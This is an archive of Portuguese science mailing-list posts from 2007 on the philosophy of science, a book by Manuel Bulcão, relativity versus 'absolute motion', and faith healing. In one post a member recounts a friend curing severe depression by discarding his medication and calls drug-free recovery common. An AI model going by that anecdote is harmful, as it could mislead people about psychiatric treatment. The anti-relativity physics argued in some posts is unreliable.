"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
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SUBJECT: Sobre o Método Cientifico
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/03/2007 16:27

Lakatos, POpper, Kuhn dentre outros...È correto
afirmar que uma metodologia é melhor que a outra?? Por
exemplo, o de Popper seria melhor que o de Kuhn ?? Ou
cada um é adequado a uma área específica??? Todos são
científicos??



"O Binômio de Newton é tão belo como a Vênus de Milo.
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SUBJECT: Re: Sobre o Método Cientifico
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/03/2007 17:19

--- Em ciencialist@yahoogrupos.com.br, Chicao Valadares
> Lakatos, POpper, Kuhn dentre outros...È correto
> afirmar que uma metodologia é melhor que a outra??

Eu não diria q seja *metodologias*, são pontos de vista distintos.

> Por exemplo, o de Popper seria melhor que o de Kuhn ?? Ou
> cada um é adequado a uma área específica??? Todos são
> científicos??

Nenhum é científico. Todos são filosóficos: área da filosofia das
ciências ou epistemologia.

Qto a uma ser melhor do q outra... bem, prepare-se para uma loooonga
discussão. Entre os cientistas q praticam no dia-a-dia seu ofício,
parece haver uma tendência de se identificar com os pressupostos
popperianos. Historiadores da ciência, parecem preferir a descrição
kuhniana. Cientistas sociais parecem ter uma predileção pela visão
lakatiana. Embromadores de vários tipos parecem preferir a visão
feyerabendiana.

[]s,

Roberto Takata



SUBJECT: Re: Sombras do Iluminismo - Manuel Bulcão Neto
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/03/2007 17:21

--- Em ciencialist@yahoogrupos.com.br, Chicao Valadares
> Parabens pela propaganda do livro dele. Eu consigo um
> exemplar pela livraria cultura???

http://www.7letras.com.br/

http://www.submarino.com.br/

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Útero bicorno
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/03/2007 23:34

Caro, Álvaro Augusto, essa é "mágica"! Despertar no outro sua melhor
condição já existente nele mesmo. Lembra da frase "tua fé te curou" ou "tua
fé te salvou" repetida em várias passagens dos evangelhos?
O desânimo, a falta de perspectiva, a insegurança, o medo, a preocupação, o
desamor, a exclusão e a constante humilhação derruba a auto-estima, a
disposição e influi na condição de vida, interfere no sistema imunológico,
abre a porta para doenças psicossomáticas, leva à depressão e a todos os
terríveis sintomas que a acompanham. Mas a recuperação da saúde através de
estímulos de confiança em si mesmo, na natureza ou em o que quer que seja,
sem qualquer medicamento, é mais comum do que se imagina. A psicoterapia e a
análise psicológica usam esse caminho de um modo geralmente lento e
progressivo.
Um amigo curou-se de uma depressão grave, por raiva... Numa tarde, sentou
próximo onde quebrava o mar pensando como dar fim na vida... Viu duas
opções: se matar ou lutar para recuperar a saúde e a vida. Chegou a um
estado tal de revolta com a situação a qual se tinha deixado levar, que
tirou os remédios do bolso jogou tudo fora e resolveu não se deixar mais
cair em estado de lamúria, sono, falta de vontade de fazer as coisas,
preguiça de pensar, de ler, de exercitar o corpo... Por incrível que pareça
o cara nunca mais tomou remédios, nem voltou a ficar depressivo. Quando ele
sente que tem alguma coisa chateando, que pode levá-lo a preocupações e
estresse, vai logo espoletando e resolvendo. Não guarda nada para depois e
nem fica remoendo mágoas. Bota pra quebrar... É um modo pessoal que cada um
pode achar para se curar de algum mal.

Abraços

José Renato
.......................................

From: "Alvaro Augusto (L)" <alvaro@To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, March 04, 2007 8:15 PM
Subject: Re: [ciencialist] Útero bicorno


> Caro José Renato,
>
> Concordo que a "varinha mágica" possa ser importante, embora experiências
> controladas sejam necessárias para avaliar tal hipótese. Ainda assim,
> canonizar uma pessoa por causa da "fé" de outra não é um certo exagero?
>
> [ ]s
>
> Alvaro Augusto
................................................
>
> ----- Original Message -----
> From: "José Renato" <jrma@terra.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Saturday, March 03, 2007 12:18 AM
> Subject: Re: [ciencialist] Útero bicorno
>
>
>> Olá, Álvaro! Como vimos no link fornecido por Takata, a maioria das
>> mulheres
>> com útero bicorno geram filhos até o nascimento. O que não se pode deixar
>> de
>> considerar é a condição que a *confiança* em alguma coisa promove no
>> organismo das pessoa. Uma das maiores causas de esterilidade e abortos é
>> o
>> estresse, a ansiedade e as preocupações. Uma pessoa confiante é
>> tranqüila,
>> tem o sistema nervoso apto a dar as respostas bem naturais, sistema
>> imunológico funcionando normalmente, etc. e etc. É claro que uma pessoa
>> assim tem mais chances de engravidar do que uma angustiada. Um dos
>> exemplos
>> mais consistentes é o caso muito comum da mulher que faz tratamento para
>> engravidar durante dois, três, cinco anos sem conseguir segurar uma
>> gravidez
>> até o fim. Ela desiste e em acordo com o parceiro partem para a adoção.
>> Oito
>> meses após a adoção ela engravida mesmo sem manter qualquer dos
>> tratamentos
>> feitos anteriormente... A questão é saber o que ou quem consegue dar essa
>> confiança à uma pessoa.
>>
>> Poucos percebem a importante lição que uma historinha infantil contém: a
>> do
>> patinho que não sabia nadar. Toda vez que entrava nágua se debatia e ia
>> ao
>> fundo. Chamado o doutor pato especialista nessa área, ele conversa com o
>> patinho e lhe dá uma varinha mágica que o fará boiar... Confiante o
>> pequeno
>> entra nágua com as penas oleosas arrumadas, bóia e nada como nunca fez
>> antes. Feliz, se esmera em velocidade e manobras para que todos vejam
>> como
>> ele é bom. Numa dessas a varinha mágica cai de seu bico - ou de debaixo
>> das
>> asinhas, segundo alguns autores - e, amedrontado, começa a se debater.
>> Mas
>> num repente percebe que ele já possui todas as condições para boiar,
>> nadar
>> e
>> fazer melhor as piruetas sem a varinha mágica...
>> Continua a questão: onde podemos obter essa confiança? A turma do
>> pensamento
>> positivo dá uma receita, os céticos outra, os psicólogos e psicanalistas
>> têm
>> cada um a sua, e assim vamos... Voltaire já ironizava que médico é o
>> senhor
>> que mantém o paciente distraído enquanto o corpo se recupera e se cura.
>>
>> []s
>>
>> José Renato
>> ......................................................
>>
>> From: "Alvaro Augusto (L)" <alvaro@To: <ciencialist@yahoogrupos.com.br>
>> Sent: Monday, February 26, 2007 10:50 AM
>> Subject: [ciencialist] Útero bicorno
>>
>>
>>> Estou lendo sobre os supostos milagres atribuidos a Frei Galvão. Em um
>>> deles, uma mulher portadora de útero bicorno, já tendo abortado três
>>> vezes,
>>> recorreu a orações e às "pílulas de frei Galvão", conseguindo chegar ao
>>> fim
>>> da gestação. Qual a chance de uma mulher com útero bicorno conseguir
>>> chegar
>>> ao fim da gestação? A literatura médica registra muitos desses casos?
>>> Seria
>>> interessante conhecer o caso de uma mulher ateísta ou agnóstica que
>>> tenha
>>> produzido prole saudável, mesmo tendo útero bicorno.
>>>
>>> [ ]s
>>>
>>> Alvaro Augusto
>>
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>



SUBJECT: Re: Poisson2
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/03/2007 00:40

----- Original Message -----
From: "Victor"
Sent: Sunday, February 25, 2007 10:20 PM
Subject: Re: [ciencialist] Re: Poisson2

Victor: [...] Os absolutos da TRR resultam do conceito de
Referencial Inercial, que já vem de Newton e Galileo, não foi
invenção de Einstein. [...]

Alberto: Como já disse em outra msg, a diferença não reside no
conceito de referencial inercial, mas na conceituação do que sejam
leis e propriedades físicas. Segundo a TRR, a velocidade do som,
assim como a velocidade do meu carro, seriam meras propriedades
físicas (no caso, mecânicas), enquanto a velocidade da luz "associa-
se" a um postulado da TRR e que acabou se transformando em lei,
quando Einstein propôs a TRG. Foi somente através desse artifício que
Einstein conseguiu "economizar" um postulado, construindo uma teoria
com apenas um postulado (também chamado princípio da relatividade
geral), se bem que com uma aberração do ponto de vista
epistemológico. A partir daí, e somente a partir da aceitação deste
absurdo, o enunciado do princípio da relatividade geral pode ser,
*sob certos aspectos*, confundido com o princípio da relatividade de
Galileu. Sei que você não concordará com o termo absurdo (algo com
que até Einstein concordava), mas admita, pelo menos, que trata-se de
uma situação bastante esquisita, para dizer o menos.

Victor [...] O Primeiro Postulado ao esclarecer que as leis da
física são as mesmas para todos os referenciais inerciais, ele
automaticamente deixa implícito o fato de que as observações medidas
feitas com réguas e relógios num referencial inercial A constituem a
realidade de A, e somente de A e de nenhum outro mais. [...]

Alberto: Se, mas somente se, você interpretar a *propriedade*
física "velocidade da luz" como uma *lei* absoluta da natureza (ou
então, o que daria no mesmo: Se, mas somente se, associarmos, a esse
primeiro postulado, o segundo postulado, o que acabou sendo feito na
TRG) e, nestas condições, a independer do referencial, coisa que não
é nada trivial e não tem similar em ciência nenhuma, o que
caracteriza o absurdo (algo que "não se enquadra em regras e
condições estabelecidas", conforme o dicionário eletrônico Houaiss).
Ou seja, mudou-se o conceito de lei afim de que se mantivesse a
elegância do enunciado de um postulado que, a ser verdadeira a TRG,
não seria mais observado com sua interpretação primitiva ou clássica.

Victor [...] Já que o observador inercial nunca vai saber se está em
repouso ou movimento retilíneo uniforme em relação a outro observador
B, solidário a outro referencial inercial.

Alberto: Eu diria que este é ainda um assunto em aberto, em ciência.
Discuto isso num artigo que já indiquei inúmeras vezes e relacionado
ao movimento absoluto.

Victor: As medidas feitas a partir de dois referenciais inerciais,
para um mesmo evento, um mesmo acontecimento da natureza, que
independe desses referenciais, podem ser diferentes numericamente ou
terem aspectos visuais diferentes. Mas, o que quer que sejam referem-
se a um e somente um evento. Logo, devem representar a mesma coisa,
pois as leis usadas para as medições são as mesmas. Com efeito,
isto é assim, pois as medidas de um e outro estão ligadas pelas
Transformações de Lorentz. As diferenças entre as medições são
devidas esclusivamente ao movimento relativo entre os referenciais de
A e B. Se a velocidade entre eles é zero, encontrarão, com certeza,
os mesmos valores para suas medidas, a aparência visual ou registrada
numa chapa fotográfica será a mesma para ambos, também. Por aí.
Aliás, é fácil provar que tais diferenças devem-se também a outros
fenômenos, como o efeito Doppler! Para não dizer que só a TRR é a
culpada do pedaço.

Alberto: Eu diria que tudo isso seria compatível com uma física
newtoniana bem interpretada e atualizada. A atualização seria
necessária para compatibilizá-la com os trezentos anos, posteriores a
Newton, de experimentação bem conduzida (ainda que não possa dizer o
mesmo quanto à teorização nesse período).

> Alberto (msg anterior): [...] Tudo isso está explicado no artigo
citado, logo não há porque tecer novas considerações que não sejam
aquelas eventualmente necessárias para que possam entender o que
pretendi dizer no artigo. Em outras palavras, seguindo os cânones
newtonianos, um referencial não é, por si só, suficiente para
caracterizar o estado de movimento de um objeto.

Victor (25.2.07): Gostaria que você esclarecesse melhor esta
proposição: " Em outras palavras, seguindo os cânones newtonianos, um
referencial não é, por si só, suficiente para caracterizar o estado
de movimento de um objeto." , tendo em vista que o movimento ou a
posição de um dado corpo, só tem se sentido se referido a um corpo de
referência. Não há sentido físico de outra maneira, daí a razão do
pedido acima.

Alberto: Já que você insiste em discutir esse assunto sem ler o
artigo sobre movimento absoluto, e que já cansei de indicar, vou
tentar simplificar a idéia, mas lembro que a exposição será bastante
superficial.

Como já expus em outra msg, Newton chegou a admitir a seguinte idéia,
a que tenho chamado por "postulado do movimento absoluto": "O
movimento verdadeiro ou absoluto não pode ser criado ou modificado
exceto pela ação de forças, mas o movimento relativo pode ser criado
ou modificado sem a ação de forças."

Pense agora em dois corpos A e B, ambos de mesma massa, em movimento
num determinado referencial e com a mesma velocidade v. Suponha que
os dois estejam no mesmo estado de movimento (à primeira vista isso
não é difícil supor, pois a física que está por aí aceitaria isso sem
se preocupar com a suposição, achando-a desnecessária e/ou
redundante).

Admita agora que o corpo A chocou-se com uma mola C (mola em repouso
em relação ao referencial considerado inicialmente), chegando ao
repouso. O corpo B, por sua vez, foi acionado por uma mola D que
estava inicialmente com a mesma velocidade de B (ou seja, mola D em
repouso em relação a B). Essa mola D empurrou o corpo com uma força a
apontar numa direção contrária à da velocidade v e tal que, após o
empurrão, o corpo B chegou ao repouso no referencial considerado no
parágrafo anterior.

Em decorrência dessas duas interações assimétricas, os corpos A e B,
ao final da experiência, estarão com a mesma velocidade, qualquer que
seja o referencial considerado. No referencial considerado
inicialmente, ambos estarão com velocidade zero (em repouso)
Pergunto: Os corpos A e B estarão agora no mesmo estado de movimento,
segundo Newton?

Pensemos no postulado do movimento absoluto. Quando o corpo B "foi
empurrado" pela mola D, ele "sofreu" uma força, logo modificou seu
estado de movimento absoluto, ou seja, ganhou "movimento absoluto" e,
conseqüentemente, ganhou energia absoluta (esta energia veio da mola
D). Quando o corpo A chocou-se com a mola C, ele "exerceu" uma força
sobre a mola, logo modificou seu estado de movimento absoluto, ou
seja, perdeu "movimento absoluto" e, consequentemente, perdeu energia
absoluta (esta energia foi para a mola D). Se o postulado for
verdadeiro e a interpretação estiver correta (Newton não chegou a
interpretar dessa forma, mesmo porque o termo energia ainda não havia
sido inventado), a conclusão é óbvia: Ao final da experiência tanto A
quanto B estarão numa mesma velocidade em relação ao referencial
inercial considerado, mas se apresentarão com níveis diferentes de
energia mecânica "absoluta". De alguma maneira, a assimetria do
problema, aliado ao "postulado do movimento absoluto", implica na
aceitação de uma "energia mecânica interna" (o termo energia interna
é apresentado em termodinâmica, mas em situação bastante diversa e
compatível com a conservação relativística, o que não seria o caso
atual). Relativisticamente falando (relatividade clássica adaptada ao
postulado em consideração) teríamos uma energia interna incorporada
ao corpo B e cedida pela mola D, e uma energia interna extraída do
corpo A e incorporada pela mola D. O estado mecânico dos corpos A e B
seria definido, então, pelo teor em energia absoluta, e não pela
velocidade em relação a um dado referencial (ou seja, pela energia
cinética clássica).

Deve-se notar que essa "energia interna mecânica" não tem o mesmo
significado que a energia interna da termodinâmica, mesmo porque o
interrelacionamento corpo-mola pode sempre ser pensado como
reversível (condição ideal), o que não ocorreria em termodinâmica.
Seria então uma energia de vibração não-caótica, ou seja, dirigida no
sentido da interação corpo-mola, ao contrário da energia térmica que
é caótica. Em condições não ideais, ou reais, nada impede que parte
ou toda essa energia acabe se caotizando no decorrer do tempo.

Maiores considerações você poderá encontrar no trabalho citado.

> Alberto (msg anterior): Deixarei de comentar o restante da msg
pois, embora não tenha encontrado nenhuma disparidade, creio que está
fora do contexto e não tem nada a ver com o que afirmei anteriormente.

Victor(25.02.07): Discordo do amigo. Creio que nada ficou fora do
contexto. À vezes é necessário buscar-se argumentos de palusibilidade
em outros contextos mesmos, mas só para dar mais força ao essencial
da questão.

Alberto: Digamos então que eu não senti o impacto dessa força [:-)]
e, graças a isso, deixei de responder.

Victor: Sobre a última parte de seu texto acima, cumpre-me lembrar
que a questão de espaço absoluto ainda não é uma questão fechada em
física, sendo ainda motivo de controvérsias entre alguns filósofos da
ciência, não o sendo, contudo, para a grande maioria dos físicos que
compreenderam adequadamente as essencialidades da relatividade.
Quanto ao movimento absoluto, é fácil mostrar, mesmo dentro do
contexto da teoria newtoniana, que não pode existir algo assim. Mas
fica para outras discussões.

Alberto: Não sei o que você chama por "dentro do contexto da teoria
newtoniana", mas já cansei de afirmar que você confunde a genuína
física newtoniana com o modelo newtoniano de três leis e que, segundo
Newton, seria válido em condições restritas e apropriadas para a
resolução de probleminhas corriqueiros, condições essas em que
poderíamos ignorar o "postulado do movimento absoluto" e adotar
aquela simplificação relacionada ao dogma de Côtes, dentre outras
coisas não tão corriqueiras e sobre as quais deixarei de comentar por
ora.

Victor: Tentarei retomar o Poisson3 e seguintes mais à frente.
Quando sobrar o óbvio: tempo Newtoniano mesmo.

Alberto: Sem pressa. Respondi as duas últimas msgs [Poisson 1 e 2]
apenas para não acumular msgs não respondidas, pois não é sempre que
disponho de tempo para escrever.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Re: Sombras do Iluminismo - Manuel Bulcão Neto
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/03/2007 08:24

--- Em ciencialist@yahoogrupos.com.br, Chicao Valadares
<chicaovaladares@...> escreveu
>
> Parabens pela propaganda do livro dele. Eu consigo um
> exemplar pela livraria cultura???

Salve, Chicão!

A Editora me informou que alguns exemplares foram entregue à Cultura
Dinâmica Distribuidora (SP).

Mas você pode comprá-lo através do site do Submarino:

http://www.submarino.com.br/books_productdetails.asp?
Query=ProductPage&ProdTypeId=1&ProdId=1871246&ST=SR

Com certeza, o "Sombras..." está à venda nas seguintes livrarias:

Livraria da Vila - SP
Livraria Susanne Bach - RJ
Livraria Ponte de Tábuas - RJ
Livraria Renovar - RJ
Livraria TLM (UERJ) - RJ
Livraria da Travessa (Ipanema) - RJ

O livro já está também com alguns representantes que fazem
a distribuição para o Brasil inteiro:

Cultura Dinâmica Distribuidora - SP
Diálogo Distribuidora - MG
Dom Quixote Distribuidora - DF
Eldorado Distribuidora - RJ
Empório do Livro Distribuidora - SP
Sollus Distribuidora – SP

Abraços,
Manuel Bulcão



SUBJECT: Re: [ciencialist] Re: Poisson2
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/03/2007 10:19

Vcs acreditam no 'centro de massa' do universo todo. Nesse universo todo não pode haver 'forças externas', só internas e conseqüentemente o centro de massa do universo é um invariante (fixo) desde o nascimento. Por que não usar esse centro de massa como referencial absoluto de repouso?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Alberto Mesquita Filho" <albmesq@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 9 de março de 2007 00:40
Assunto: [ciencialist] Re: Poisson2


----- Original Message -----
From: "Victor"
Sent: Sunday, February 25, 2007 10:20 PM
Subject: Re: [ciencialist] Re: Poisson2

Victor: [...] Os absolutos da TRR resultam do conceito de
Referencial Inercial, que já vem de Newton e Galileo, não foi
invenção de Einstein. [...]

Alberto: Como já disse em outra msg, a diferença não reside no
conceito de referencial inercial, mas na conceituação do que sejam
leis e propriedades físicas. Segundo a TRR, a velocidade do som,
assim como a velocidade do meu carro, seriam meras propriedades
físicas (no caso, mecânicas), enquanto a velocidade da luz "associa-
se" a um postulado da TRR e que acabou se transformando em lei,
quando Einstein propôs a TRG. Foi somente através desse artifício que
Einstein conseguiu "economizar" um postulado, construindo uma teoria
com apenas um postulado (também chamado princípio da relatividade
geral), se bem que com uma aberração do ponto de vista
epistemológico. A partir daí, e somente a partir da aceitação deste
absurdo, o enunciado do princípio da relatividade geral pode ser,
*sob certos aspectos*, confundido com o princípio da relatividade de
Galileu. Sei que você não concordará com o termo absurdo (algo com
que até Einstein concordava), mas admita, pelo menos, que trata-se de
uma situação bastante esquisita, para dizer o menos.

Victor [...] O Primeiro Postulado ao esclarecer que as leis da
física são as mesmas para todos os referenciais inerciais, ele
automaticamente deixa implícito o fato de que as observações medidas
feitas com réguas e relógios num referencial inercial A constituem a
realidade de A, e somente de A e de nenhum outro mais. [...]

Alberto: Se, mas somente se, você interpretar a *propriedade*
física "velocidade da luz" como uma *lei* absoluta da natureza (ou
então, o que daria no mesmo: Se, mas somente se, associarmos, a esse
primeiro postulado, o segundo postulado, o que acabou sendo feito na
TRG) e, nestas condições, a independer do referencial, coisa que não
é nada trivial e não tem similar em ciência nenhuma, o que
caracteriza o absurdo (algo que "não se enquadra em regras e
condições estabelecidas", conforme o dicionário eletrônico Houaiss).
Ou seja, mudou-se o conceito de lei afim de que se mantivesse a
elegância do enunciado de um postulado que, a ser verdadeira a TRG,
não seria mais observado com sua interpretação primitiva ou clássica.

Victor [...] Já que o observador inercial nunca vai saber se está em
repouso ou movimento retilíneo uniforme em relação a outro observador
B, solidário a outro referencial inercial.

Alberto: Eu diria que este é ainda um assunto em aberto, em ciência.
Discuto isso num artigo que já indiquei inúmeras vezes e relacionado
ao movimento absoluto.

Victor: As medidas feitas a partir de dois referenciais inerciais,
para um mesmo evento, um mesmo acontecimento da natureza, que
independe desses referenciais, podem ser diferentes numericamente ou
terem aspectos visuais diferentes. Mas, o que quer que sejam referem-
se a um e somente um evento. Logo, devem representar a mesma coisa,
pois as leis usadas para as medições são as mesmas. Com efeito,
isto é assim, pois as medidas de um e outro estão ligadas pelas
Transformações de Lorentz. As diferenças entre as medições são
devidas esclusivamente ao movimento relativo entre os referenciais de
A e B. Se a velocidade entre eles é zero, encontrarão, com certeza,
os mesmos valores para suas medidas, a aparência visual ou registrada
numa chapa fotográfica será a mesma para ambos, também. Por aí.
Aliás, é fácil provar que tais diferenças devem-se também a outros
fenômenos, como o efeito Doppler! Para não dizer que só a TRR é a
culpada do pedaço.

Alberto: Eu diria que tudo isso seria compatível com uma física
newtoniana bem interpretada e atualizada. A atualização seria
necessária para compatibilizá-la com os trezentos anos, posteriores a
Newton, de experimentação bem conduzida (ainda que não possa dizer o
mesmo quanto à teorização nesse período).

> Alberto (msg anterior): [...] Tudo isso está explicado no artigo
citado, logo não há porque tecer novas considerações que não sejam
aquelas eventualmente necessárias para que possam entender o que
pretendi dizer no artigo. Em outras palavras, seguindo os cânones
newtonianos, um referencial não é, por si só, suficiente para
caracterizar o estado de movimento de um objeto.

Victor (25.2.07): Gostaria que você esclarecesse melhor esta
proposição: " Em outras palavras, seguindo os cânones newtonianos, um
referencial não é, por si só, suficiente para caracterizar o estado
de movimento de um objeto." , tendo em vista que o movimento ou a
posição de um dado corpo, só tem se sentido se referido a um corpo de
referência. Não há sentido físico de outra maneira, daí a razão do
pedido acima.

Alberto: Já que você insiste em discutir esse assunto sem ler o
artigo sobre movimento absoluto, e que já cansei de indicar, vou
tentar simplificar a idéia, mas lembro que a exposição será bastante
superficial.

Como já expus em outra msg, Newton chegou a admitir a seguinte idéia,
a que tenho chamado por "postulado do movimento absoluto": "O
movimento verdadeiro ou absoluto não pode ser criado ou modificado
exceto pela ação de forças, mas o movimento relativo pode ser criado
ou modificado sem a ação de forças."

Pense agora em dois corpos A e B, ambos de mesma massa, em movimento
num determinado referencial e com a mesma velocidade v. Suponha que
os dois estejam no mesmo estado de movimento (à primeira vista isso
não é difícil supor, pois a física que está por aí aceitaria isso sem
se preocupar com a suposição, achando-a desnecessária e/ou
redundante).

Admita agora que o corpo A chocou-se com uma mola C (mola em repouso
em relação ao referencial considerado inicialmente), chegando ao
repouso. O corpo B, por sua vez, foi acionado por uma mola D que
estava inicialmente com a mesma velocidade de B (ou seja, mola D em
repouso em relação a B). Essa mola D empurrou o corpo com uma força a
apontar numa direção contrária à da velocidade v e tal que, após o
empurrão, o corpo B chegou ao repouso no referencial considerado no
parágrafo anterior.

Em decorrência dessas duas interações assimétricas, os corpos A e B,
ao final da experiência, estarão com a mesma velocidade, qualquer que
seja o referencial considerado. No referencial considerado
inicialmente, ambos estarão com velocidade zero (em repouso)
Pergunto: Os corpos A e B estarão agora no mesmo estado de movimento,
segundo Newton?

Pensemos no postulado do movimento absoluto. Quando o corpo B "foi
empurrado" pela mola D, ele "sofreu" uma força, logo modificou seu
estado de movimento absoluto, ou seja, ganhou "movimento absoluto" e,
conseqüentemente, ganhou energia absoluta (esta energia veio da mola
D). Quando o corpo A chocou-se com a mola C, ele "exerceu" uma força
sobre a mola, logo modificou seu estado de movimento absoluto, ou
seja, perdeu "movimento absoluto" e, consequentemente, perdeu energia
absoluta (esta energia foi para a mola D). Se o postulado for
verdadeiro e a interpretação estiver correta (Newton não chegou a
interpretar dessa forma, mesmo porque o termo energia ainda não havia
sido inventado), a conclusão é óbvia: Ao final da experiência tanto A
quanto B estarão numa mesma velocidade em relação ao referencial
inercial considerado, mas se apresentarão com níveis diferentes de
energia mecânica "absoluta". De alguma maneira, a assimetria do
problema, aliado ao "postulado do movimento absoluto", implica na
aceitação de uma "energia mecânica interna" (o termo energia interna
é apresentado em termodinâmica, mas em situação bastante diversa e
compatível com a conservação relativística, o que não seria o caso
atual). Relativisticamente falando (relatividade clássica adaptada ao
postulado em consideração) teríamos uma energia interna incorporada
ao corpo B e cedida pela mola D, e uma energia interna extraída do
corpo A e incorporada pela mola D. O estado mecânico dos corpos A e B
seria definido, então, pelo teor em energia absoluta, e não pela
velocidade em relação a um dado referencial (ou seja, pela energia
cinética clássica).

Deve-se notar que essa "energia interna mecânica" não tem o mesmo
significado que a energia interna da termodinâmica, mesmo porque o
interrelacionamento corpo-mola pode sempre ser pensado como
reversível (condição ideal), o que não ocorreria em termodinâmica.
Seria então uma energia de vibração não-caótica, ou seja, dirigida no
sentido da interação corpo-mola, ao contrário da energia térmica que
é caótica. Em condições não ideais, ou reais, nada impede que parte
ou toda essa energia acabe se caotizando no decorrer do tempo.

Maiores considerações você poderá encontrar no trabalho citado.

> Alberto (msg anterior): Deixarei de comentar o restante da msg
pois, embora não tenha encontrado nenhuma disparidade, creio que está
fora do contexto e não tem nada a ver com o que afirmei anteriormente.

Victor(25.02.07): Discordo do amigo. Creio que nada ficou fora do
contexto. À vezes é necessário buscar-se argumentos de palusibilidade
em outros contextos mesmos, mas só para dar mais força ao essencial
da questão.

Alberto: Digamos então que eu não senti o impacto dessa força [:-)]
e, graças a isso, deixei de responder.

Victor: Sobre a última parte de seu texto acima, cumpre-me lembrar
que a questão de espaço absoluto ainda não é uma questão fechada em
física, sendo ainda motivo de controvérsias entre alguns filósofos da
ciência, não o sendo, contudo, para a grande maioria dos físicos que
compreenderam adequadamente as essencialidades da relatividade.
Quanto ao movimento absoluto, é fácil mostrar, mesmo dentro do
contexto da teoria newtoniana, que não pode existir algo assim. Mas
fica para outras discussões.

Alberto: Não sei o que você chama por "dentro do contexto da teoria
newtoniana", mas já cansei de afirmar que você confunde a genuína
física newtoniana com o modelo newtoniano de três leis e que, segundo
Newton, seria válido em condições restritas e apropriadas para a
resolução de probleminhas corriqueiros, condições essas em que
poderíamos ignorar o "postulado do movimento absoluto" e adotar
aquela simplificação relacionada ao dogma de Côtes, dentre outras
coisas não tão corriqueiras e sobre as quais deixarei de comentar por
ora.

Victor: Tentarei retomar o Poisson3 e seguintes mais à frente.
Quando sobrar o óbvio: tempo Newtoniano mesmo.

Alberto: Sem pressa. Respondi as duas últimas msgs [Poisson 1 e 2]
apenas para não acumular msgs não respondidas, pois não é sempre que
disponho de tempo para escrever.

[ ]´s
Alberto
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Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



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SUBJECT: Re: Sombras do Iluminismo - Manuel Bulcão Neto
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/03/2007 10:22

Salve, José Renato!

José Renato: Apenas uma opinião ou entendimento seu me pareceu
exagerado: a de que as pessoas, ao se desencantarem com as promessas
de um maravilhoso mundo novo que as descobertas científicas induziu,
tenderão voltar ao embotamento das crendices atávicas e ao
fundamentalismos religiosos.

Manuel: Sim, apenas "tenderão". Mas há contratendências. Por isso que
ajo com o pessimismo da inteligência e o otimismo da vontade. Aliás,
no fim do prefácio, comento sobre a minha "fé nos homens e na razão",
na minha "convicção firme de que no meio da fruta podre do Iluminismo
existe uma semente viva e fecunda", e termino com uma sentença
exclamativa: "Esta semente brotará!"

José Renato: Na minha visão as coisas continuarão praticamente do
mesmo jeito, com a maioria das pessoas buscando um paraíso light-zen,
tipo Nova Era, sem maiores compromissos com valores éticos, que serão
adaptados ao gosto e à comodidade do novo crente, dentro do marketing
do consumo acelerado pelo desperdício propagandeado, pelo
sucateamento acelerado dos bens de consumo e pela dependência
psicológica e cultural mantida de todas as formas pelos donos da
grana. Os profetas de seu tempo continuarão a denunciar as aberrações
e mazelas dos poderosos e, como sempre ocorreu, sofrerão as
conseqüências por isso.

Manuel: Gostaria também de acreditar que o "subterrâneo" em que
vivemos - do qual me esforço para emergir - pelo menos se detenha
neste nível: que não desça a profundezas realmente infernais. Mas...
sei não, Renato. Mesmo averso ao catastrofismo e ao talento paranóico
dos inventores de teorias conspiracionistas, não posso deixar de ver
essa confluência de fatores nos conduzindo a condições objetivas cada
vez mais adversas: o modo atritante como vem se processando a
Globalização (em que as vantagens e os ônus são distribuídos de forma
tão desigual), a atual crise energética e, para piorar, o aquecimento
global.

E quando o horizonte futuro é muito nebuloso, as pessoas "tendem" a
buscar o referencial no passado, idealizando-o.

As forças irracionais da Reação (da regressão psicótica) jamais se
apaziguam por completo. Seu corolário mitológico é o oxigênio que
transforma o ferro das idéias em ferrugem: a ferrugem cientificista,
a ferrugem do fundamentalismo religioso etc.

Essas forças irracionais, inconscientes e fotofóbicas estão sempre à
espera da próxima grande noite em que, "para desgraça e ensinamento
dos homens, [mais uma vez] acordarão seus ratos" (Camus).

Mantenhamos, por isso, no coldre esquerdo, a lanterna de Voltaire, e,
no outro coldre, o revólver do jacobino.

Abraços,
Manuel Bulcão





SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/03/2007 12:08

> > Por exemplo, o de Popper seria melhor que o de
> Kuhn ?? Ou
> > cada um é adequado a uma área específica??? Todos
> são
> > científicos??
>
> Nenhum é científico. Todos são filosóficos: área da
> filosofia das
> ciências ou epistemologia.

Então não existe um método na ciência
universal(completo) propriamente dito??
Interessante notar que muita gente
endeusa o Popperiano.


> Qto a uma ser melhor do q outra... bem, prepare-se
> para uma loooonga
> discussão. Entre os cientistas q praticam no
> dia-a-dia seu ofício,
> parece haver uma tendência de se identificar com os
> pressupostos
> popperianos.

Ciências naturais e exatas???

>Historiadores da ciência, parecem
> preferir a descrição
> kuhniana. Cientistas sociais parecem ter uma
> predileção pela visão
> lakatiana.

Então não existe "o método" e sim métodos cada qual
